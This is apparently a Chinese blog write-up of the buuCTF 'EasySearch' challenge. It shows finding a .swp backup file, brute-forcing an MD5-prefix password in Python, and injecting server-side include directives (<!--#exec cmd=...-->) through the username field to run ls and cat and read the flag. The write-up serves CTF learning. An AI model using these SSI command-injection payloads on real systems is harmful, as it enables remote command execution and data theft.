buuCTF [BJDCTF2020]EasySearch 1

本文介绍了参与CTF比赛时遇到的一个挑战,涉及到目录扫描、PHP备份文件(index.php.swp)的发现以及SHTML文件的命令注入。通过寻找满足MD5条件的密码,成功登录后利用SHTML的<!--#execcmd=命令-->&gt;特性进行文件操作,最终通过目录遍历和文件读取拿到FLAG。整个过程展示了Web安全中的漏洞利用技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

buuCTF [BJDCTF2020]EasySearch 1

进去后是这样
在这里插入图片描述
扫后台发现index.php.swp备份。
在这里插入图片描述
这里吐槽一下。我用dirsearch扫了3次都没出来,最后用dirmap指定字典才出来。网上的字典大部分没包含index.php.swp的,还要自己添加到字典里。

要求password的md5值的前6个字符为6d0bc1。敲代码(python):

from hashlib import md5

for i in range(10000000):
    if md5(str(i).encode('utf-8')).hexdigest()[:6] == '6d0bc1':
        print(i)

2020666
2305004
9162671
前三个,选一个。

username=1&password=2020666

在这里插入图片描述
抓包看响应包头文件,或者直接看网络,发现一个url。
在这里插入图片描述

输入网址
在这里插入图片描述

这是个shtml。具体自己查查,简单来说就是能根据命令动态回显网页的某个部分,比如时间。可以注入,用来远程命令执行。
格式:

<!--#exec cmd="命令"-->

这里的username是个注入点。
直接cat /flag没反应
查看目录

username=<!--#exec cmd="ls"-->&password=2020666

在这里插入图片描述

在这里插入图片描述
原来shtml的用户名就回显了指令。
注意这里的shtml根据指令的不同而不同,所以说每次执行了指令都要复制粘贴shtml网址重新载入。刷新没变化。
看看上级目录

username=<!--#exec cmd="ls ../"-->&password=2020666

在这里插入图片描述打开flag_990c66bf85a09c664f0b6741840499b2

username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666

注意因为是上级目录,所以要保留../
在这里插入图片描述

拿到flag。此时英语老师会跟你说结尾可以用什么表达?

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值